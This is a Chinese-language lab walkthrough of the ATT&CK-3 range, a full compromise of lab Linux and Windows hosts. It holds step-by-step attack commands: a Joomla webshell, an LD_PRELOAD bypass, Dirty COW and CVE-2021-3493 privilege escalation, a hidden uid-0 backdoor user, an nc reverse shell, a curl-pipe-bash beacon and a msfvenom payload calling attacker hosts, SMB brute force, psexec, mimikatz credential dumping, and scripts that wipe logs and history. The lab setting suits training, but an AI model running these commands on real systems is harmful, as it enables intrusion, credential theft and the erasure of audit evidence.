ATT&CK-3
首先我们配置网络环境,这里一共有5台机器,我们在虚拟机中的网络编辑器中将网络设置为如下
其中各个主机配置如下
web-centos 192.168.93.100 192.168.252.211
web-ubantu 192.168.93.120
win7 192.168.93.30
win2008 192.168.93.20
win2012 192.168.93.10
这里都是黑盒测试,我们给出ip是为了方便测试网络
信息收集
首先我们使用nmap查找目标机器ip
nmap -A -v -T4 192.168.252.0/24
其中155主机是我自行打开的另一台主机,所以目标主机ip是192.168.252.211
接着我们对其进行详细信息扫描
#基本信息扫描
nmap -sV -O 192.168.252.211
#相关漏洞扫描
nmap -sT -sV -Pn --script=vuln 192.168.252.211
可以看到其开放了80端口,我们就尝试访问其web服务,得到如下界面
以及使用nmap对其进行基础漏洞扫描的时候,发现其cms为joomla
接着我们使用xray对网站进行基本的漏洞扫描
xray webscan --basic-crawler http://192.168.252.211 --html-output vuln.html
在通过CMSeek进行扫描
这里我们通过configuration.php~
路径下的信息泄露发现了数据库的账户密码
我们直接登录数据库,通过对数据库的检索,我们找到了后台的账号密码,但是不知道如何解密
接着我们通过官方网站的介绍,我们在数据库中添加admin2:secret
超级管理员
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
添加成功之后我们就可以直接登录后台了,通过之前我们对网站信息的收集,我们知道Joomla的版本是3.9.12版本通过对Joomla的漏洞查找,我们知道了在<3.9.15版本之后存在漏洞。
接着我们访问http://192.168.252.211/administrator/index.php?option=com_templates&view=template&id=506&file=L2luZGV4LnBocA#
在index.php页面添加后门
接着我们在蚁剑中连接
这里我们尝试执行命令,发现执行什么命令都是返回ret=127
可能是目标机器禁用了一些函数,我们在最开是的信息收集中发现了phpinfo
页面,我们在这里进行查看
这里我们看到没有禁用putenv函数,所以我们可以使用LD_PRELOAD绕过,工具下载地址,我们将bypass_disablefunc.php
和bypass_disablefunc_x64.so
上传到目标服务器上
接着我们执行如下命令进行命令执行
http://192.168.252.211/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/test&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
其中cmd
是执行的命令,outpath
是读写全写的目录,sopath
是.so
文件的绝对路径。
我们也可以在蚁剑中直接使用插件来绕过
不过这个方法在这里没有返回,我们使用PHP7_UserFilter
成功,所以我们还是继续使用之前的方法执行命令获取基本信息,这里我们首先执行ifconfig
,看到存在ip192.168.93.120
,由此可知web服务在其他机器上。
接着查看目标机器的系统信息
uname -a
cat /proc/version
查看目标机器内核之后,目前提权比较困难我们尝试寻找账号密码相关信息,最终我们在文件中发现一个账号密码
接着我们尝试登录目标机器
内网渗透
我们拿到边界机器之后,我们尝试提权为后续的横向移动做准备,这里我们查看目标机器的内核信息
uname -a
我们使用脚本测试目标程序存在的漏洞,工具下载地址https://github.com/mzet-/linux-exploit-suggester
,我们将程序上传到目标机器上
添加执行权限并执行
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
这里我们可以看到,存在脏牛漏洞,接着我们上传dirty.c
并执行,下载地址。
漏洞执行完毕之后,默认添加一个账户firefart:password
,接着我们切换账户
接着我们进行权限维持,添加root后门,我们创建一个root权限的用户guest:123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld
对WEB(ubuntu)机器进行提权
要对web机器提权,我们需要将其shell反弹到centos机器上,因为web机器不出网,首先我们需要在web(ubuntu)机器上离线安装nc,并在centos上也安装nc(后来发现ubuntu好像自带nc)
#首先我们在本地下载安装包
#64位
http://vault.centos.org/6.6/os/x86_64/Packages/nc-1.84-22.el6.x86_64.rpm
#32位
http://vault.centos.org/6.6/os/i386/Packages/nc-1.84-22.el6.i686.rpm
#安装
rpm -iUv nc-1.84-22.el6.x86_64.rpm
#centos上安装nc
yum install nc.x86_64
接着我们在centos机器上进行监听,在ubuntu上将shell反弹给centos
#centos
nc -l 9995
#ubuntu
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 9995 >/tmp/f
接着查看其基本信息
接下来我们使用CVE-2021-3493
进行提权,OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。下载地址
其影响的版本如下
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 19.04
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
我们将下载的文件上传到目标机器并编译执行,最终我们得到root权限
gcc exploit.c -o exploit
./exploit
centos上线CS
接着我们可以使用CS中的CrossC2插件将centos上线CS
curl -A O -o- -L http://cs_server_ip:55413/a | bash -s
CS得到centos的shell
centos上线msf
同样的我们可以让centos上线msf,首先我们生成后门文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=4444 -f elf > /tmp/shell.elf
接着我们将后门文件上传到centos上,msf上设置好监听,接着在centos上对后门添加执行权限并执行
横向移动
首先我们在msf上添加路由,并进行存活主机探测
#查看路由信息
run autoroute -p
#查看已拿下的目标主机的内网IP段
run get_local_subnets
#添加一条通向目标服务器内网的路由
run autoroute -s 192.168.93.0/24
#将当前会话放入后台
background
#存活主机探测
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit
配置代理
为了方便对内网主机渗透,我们需要配置代理,这里使用msf的socks4模块进行代理
接着配置kali自带的proxychains的代理文件,结果如下
mousepad /etc/proxychains.conf
配置完毕之后我们就可以直接对其进行端口扫描了
proxychains nmap -sS -Pn 192.168.93.10
192.168.93.30机器的扫描
192.168.93.20机器的扫描结果
192.168.93.10机器的扫描结果
我们在msf中对3台主机进行了ms17-010
漏洞进行检测,都没发现漏洞,接着我们尝试暴破账号密码
use auxiliary/scanner/smb/smb_login
运气好可以暴破出密码,我看其他大佬的文章大部分都爆出来了,感叹他们字典的强大,这里还有一种方式获取net-ntml直接利用,稍后我在进行尝试,这里我们就跟随大佬的步伐,暴破出密码123qwe!ASD
PsExec漏洞利用
使用PsExec,通过命令行环境和目标机器进行连接,甚至控制目标机器,而不需要通过RDP远程桌面协议进行图形化控制,隐藏了我们的活动。
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run
wmiexec smb登录
wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。
#使用wmi获取权限
proxychains python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
定位域控
我们查看其DNS服务器,一般情况下为域控
我们可以得知,域控ip为192.168.93.10
,接着我们尝试3389远程登录主机,首先查看目标机器是否开放3389端口
netstat -an | find "3389"
没有得到结果,应该是没有开放,我们手动开启3389并关闭防火墙
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭防火墙2003以后的命令
netsh advfirewall set allprofiles state off
尝试远程连接192.168.93.20
主机
proxychains rdesktop -r disk:data=/tmp 192.168.93.20
其中我们将kali下的/tmp
映射到了目标主机上,所以我们可以将工具放在tmp文件夹内,方便我们拷贝,这里我们将mimikatz放到目标机器上
或者使用以下方式上传
smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
接着我们在mimikatz上运行
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.txt
得到域控密码
ipc远程连接
利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。利用条件:1.管理员开启了默认共享。2.139或445端口开放
#开启ipc
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
#列出共享目录
dir \\192.168.93.10\C$
找到目标flag
拿到域控之后,剩下的机器拿到就很简单了这里就不再赘述了。
痕迹清理
- Linux
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
一键清除脚本
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
- windows
有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:
wevtutil el 列出系统中所有日志名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志
meterperter自带清除日志功能:
clearev 清除windows中的应用程序日志、系统日志、安全日志
清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*